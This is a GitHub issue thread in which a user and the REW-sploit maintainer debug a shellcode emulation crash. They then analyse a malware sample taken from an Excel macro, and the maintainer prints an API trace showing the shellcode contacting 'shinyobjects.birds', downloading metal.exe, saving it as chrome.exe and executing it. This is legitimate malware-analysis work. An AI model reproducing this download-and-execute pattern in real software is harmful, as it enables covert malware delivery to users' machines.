Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

shellcode: Caught error: 'NoneType' object has no attribute 'startswith' #13

Closed
programmer4python opened this issue May 14, 2022 · 37 comments

Comments

@programmer4python
Copy link

command:
(REW-sploit)<<emulate_payload -P shell.bin -U 0

0x10d3: Error while calling API handler for kernel32.VirtualAllocEx:
Traceback:
File ".../speakeasy/windows/winemu.py", line 1168, in handle_import_func
rv = self.api.call-api_func(mod, func, argv, ctx=default_ctx)
File ".../speakeasy/winenv/api/winapi.py", line 77, in call_api_func
return func(mod, self.emu, argv, ctx)
File ".../speakeasy/winenv/api/usermode/kernel32.py" line 995, in VirtualAllocEx
if mm and mm.get_tag().startswith(tag_prefix):
AttributeError: 'NoneType' object has no attribute 'startswith'
0x77...: shellcode: Caught error: 'NoneType' object has no attribute 'startswith'

  • Timeout of 0 sec(s) reached.
  • [+] Emulation ended
@cecio
Copy link
Contributor

cecio commented May 14, 2022

Hello.

Thanks for opening the issue.

Would you mind to share the shell.bin file?
It would be very helpful to track down the problem.

Thanks!

@programmer4python
Copy link
Author

programmer4python commented May 14, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 14, 2022

Interesting....

If you want to share it, I would be happy to look into this (even when the challenge is ended if you prefer).

You can upload it here if you want: https://icedrive.net/r/35PGvd8pbfDBdcdhTf3hc9Gdp8DdcdPfBdHTk4b3

@cecio
Copy link
Contributor

cecio commented May 17, 2022

Hello Michelle.

If you'd like to share the sample, I'd like to look into this error.
In case, here the new link to upload it (the old one is expired):

https://icedrive.net/r/xdfhBdBkF2Cz9pf3G25HrF77GR4VkpFfk6k577xd

Thanks a lot

@programmer4python
Copy link
Author

programmer4python commented May 18, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 18, 2022

Yes, please, if you can send it would be helpful.

Thanks!

@programmer4python
Copy link
Author

programmer4python commented May 18, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 18, 2022

Hello Michelle.

I don't see the file nor a link.
Where did you put it?

Thanks!

@programmer4python
Copy link
Author

programmer4python commented May 18, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 19, 2022

No, no files.

You can upload it here:

https://icedrive.net/r/xdfhBdBkF2Cz9pf3G25HrF77GR4VkpFfk6k577xd

Thanks,

@programmer4python
Copy link
Author

programmer4python commented May 19, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 19, 2022

great, got it. Thanks!
I'll let you know

@programmer4python
Copy link
Author

programmer4python commented May 20, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 20, 2022

Ok, I replicated the issue, it's a missing check in Speakeasy.

I'm going to make a pull request on the SpeakEasy branch to fix this.
Thanks a lot for reporting this.

Regarding your question: I'm not sure to which IP you are referring to, but I found some analysis on VirusTotal with several IP listed: all of them are Microsoft IP which is propably only "noise" created by the Excel or the virtualization environment.
If you show me at which analysis you are referring I can have a look.

Thanks in the meantime

@cecio
Copy link
Contributor

cecio commented May 20, 2022

The pull request:

mandiant/speakeasy#206

@programmer4python
Copy link
Author

programmer4python commented May 21, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 21, 2022

If you attached a screenshot, I don't see it (images can be shared here only if you save them somewhere on the web, on github itself or to imgur for example).

Try to give me the link to the page.

@cecio
Copy link
Contributor

cecio commented May 21, 2022

BTW, by using REW-sploit I was able to complete the emulation, and this is what the injected part is doing:

[+] Emulation ended
(REW-sploit)<< emulate_payload -P /tmp/tmpnjm0m40e/0x50000.bin -U 0
[+] Starting emulation
* exec: shellcode
0x10a4: 'kernel32.LoadLibraryA("wininet")' -> 0x7c054000
0x10b2: 'wininet.InternetOpenA("wininet", 0x0, 0x0, 0x0, 0x0)' -> 0x20
0x10c8: 'wininet.InternetConnectA(0x20, "shinyobjects.birds", 0x50, 0x0, 0x0, 0x3, 0x0, 0x0)' -> 0x24
0x10e0: 'wininet.HttpOpenRequestA(0x24, 0x0, "/metal.exe", 0x0, 0x0, 0x0, "INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD", 0x0)' -> 0x28
0x10f9: 'wininet.InternetSetOptionA(0x28, 0x1f, 0x1203fd8, 0x4)' -> 0x1
0x1107: 'wininet.HttpSendRequestA(0x28, 0x0, 0x0, 0x0, 0x0)' -> 0x1
0x1140: 'kernel32.CreateFileA("chrome.exe", 0x2, 0x2, 0x0, "CREATE_ALWAYS", 0x2, 0x0)' -> 0x80
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (90909090909090909090909090909090)", 0x300, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (cccccccccccccccccccccccccccccccc)", 0x300, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (cccccccccccccccccccccccccccccccc)", 0x300, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (cccccccccccccccccccccccccccccccc)", 0x300, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (cccccccccccccccccccccccccccccccc)", 0x300, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1176: 'kernel32.WriteFile(0x80, "0x1203cd8 (cccccccccccccccccccccccccccccccc)", 0x100, 0x1203cd4, 0x0)' -> 0x1
0x115c: 'wininet.InternetReadFile(0x28, 0x1203cd8, 0x300, 0x1203cd4)' -> 0x1
0x1183: 'kernel32.CloseHandle(0x80)' -> 0x1
0x118d: 'kernel32.WinExec("chrome.exe", 0x0)' -> 0x20
0x1196: 'kernel32.ExitProcess(0x0)' -> 0x0
0x1196: 'kernel32.ExitProcess(0x0)' -> 0x0

@programmer4python
Copy link
Author

programmer4python commented May 22, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 23, 2022

No, I just used some of the add-ons of REW-sploit:

as you can see the first emulation create a new process and then it creates a new thread in it. By using the -T option in emulate_payload, you can easily dump the thread content and then emulate it with a second run.
Consider that right now this will not work for you , since we don't have the pull request merged in Speakeasy yet.
As soon as it will be done I'll publish a new release getting this mod.

Regarding the IPs: I'm not sure which IPs you extracted from the shellcode. The only domain contacted seems to be shinyobjects.birds, which is not-existent....so no IP were actually contacted. But I didn't fully disassembled the sample, so I may be wrong. I just base my assertion on the emulation output. If you want to share the IPs and how you extracted them I can have a look.

If I look in VirusTotal for the MD5 of the file you sent me, I see something like this:

https://www.virustotal.com/gui/file/a3f128976fb477883db4f7ecc2aae05e61e2de224ad584454022aced8f8f5ca5/relations

If these are the IPs you are referring to, you can see that they are all Microsoft related. What I can guess here is that these IP are contacted by the VM used for the analysis (or by excel when it starts) and there were not filtered out from the execution result. But they do not have anything to do with the malware itself.
This is what I mean with "noise" generated by the analysis. And this is why emulation (vs virtualization) can give you better results.

@programmer4python
Copy link
Author

programmer4python commented May 23, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 23, 2022

Hello Michelle.

To be able to reply to you, I need to have a look to the exact code you are using to run the script and the complete command line used. If you want you can upload it here: https://icedrive.net/r/D8trdddVTfrRDg395bBc3z9dBPXDFZhtKZXRcgF7

Right now, what I can say is that these looks to be false positives. Consider that these static tools works great when the input is exactly what they expect, but if:

  • the input is not a CS beacon
  • the input is not a "standard" CS beacon

the results can be totally misleading. From what I saw in the code, there is no evidence of the presence of these IPs. This is another reason to use emulation instead of static tools: usually malicious code use obfuscation/encryption to hide details, and that's why static tools may fails in doing analysis.

@cecio
Copy link
Contributor

cecio commented May 23, 2022

Pull request has been merged in Speakeasy. I also published a new release to use the latest commit of it.

@programmer4python
Copy link
Author

programmer4python commented May 24, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 24, 2022

Sorry, may be I was not clear. What I need is not the code of the 1768.py, but the code of the shellcode analyzed.
This is because I think we are looking at two different things.
For the one I analyzed (the one extracted from the excel file), I don't see the IP you are mentioning, even if I run the 1768.py script on it.
Thanks.

@programmer4python
Copy link
Author

programmer4python commented May 24, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 24, 2022

Hello Michelle.

Yes, the shellcode I'm analyzing comes from the array in the VBS script in the excel. Once extracted and emulated in REW-sploit I see:

  • as a first step the loop you mentioned from CreateProcess to Sleep
  • as a second step (the dumped thread from the step before) the other list I posted above (connection to shinyobjects.birds, download of 'metal.exe', etc... until the process is exited)

All these things are coming out from the shellcode saved in the excel you sent me once processed with REW-sploit. I don't see any other IP there (the only connection done is tried against shinyobjects.birds).

Even if I run the 1768.py utility on that shellcode, I don't see any IP dumped by the utility. That's why I think we are looking at two different things.

In the message from yesterday you said:

but I had to decode, so to speak, the shellcode first

I'm not sure what you mean here, which kind of decoding you applied. The array itself was valid executable position independent code, so no decoding was needed. Even because, otherwise, it would be impossible to emulate it.

Thanks,

@programmer4python
Copy link
Author

programmer4python commented May 25, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 25, 2022

yes, exactly

@cecio
Copy link
Contributor

cecio commented May 25, 2022

If I run 1768.py (with option -r) on the shellcode (the array starting with 252), this is the result:

Parameter: 701 b'shinyobjects.birds'
push      :   212        446 b'h\xbe\x01\x00\x00'
push      :   505      13184 b'h\x803\x00\x00'

So, may be you are doing something different...

@programmer4python
Copy link
Author

programmer4python commented May 25, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 25, 2022

OK, clear now.

Consider few aspects:

  • everything represented as a byte, is in the range from 0 to 255, so it's very easy to be in the same range
  • if you look at the VBA code, you don't see any transformation of the byte sequence. It is used just as it is and passed to CreateThread
  • given what stated before, any further transformation should be done by the shellcode itself, so in this case the emulation is helping you in "unrolling" this kind of obfuscation, and you don't need to apply any further change

Applying an arbitrary transformation to what is executable code (like in this case, because it is passed to a CreateThread API), will not give you anything meaningful to analyze, unless you are sure that the same transformation is in some way done in some point of the process execution. But in this case we don't have any evidence of this, so the code we need to analyze is just the plain array dumped from the VBA.

@programmer4python
Copy link
Author

programmer4python commented May 26, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 26, 2022

Thanks to you, I'm going to close the issue.

Just some final words:

  • converting from decimal to another encoding (HEX or whatever) is not incorrect, this is fine. It depends on what the tool you want to use get as input
  • the wrong thing to do is to transform (which is different from converting). I mean, if you apply ROT13 to an input, without knowing that this transformation is actually correct, you are going to get something useless

For what regards the IPs, I'm pretty sure they are false positive: all the code in that part has been emulated, and there is no evidence of these IPs. But I'll let you experiment with that ;-)

Thanks and regards.

@cecio
Copy link
Contributor

cecio commented May 26, 2022

@cecio cecio closed this as completed May 26, 2022
@programmer4python
Copy link
Author

programmer4python commented May 27, 2022 via email

@cecio
Copy link
Contributor

cecio commented May 27, 2022

Sure, feel free to get in touch whenever you want.

Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants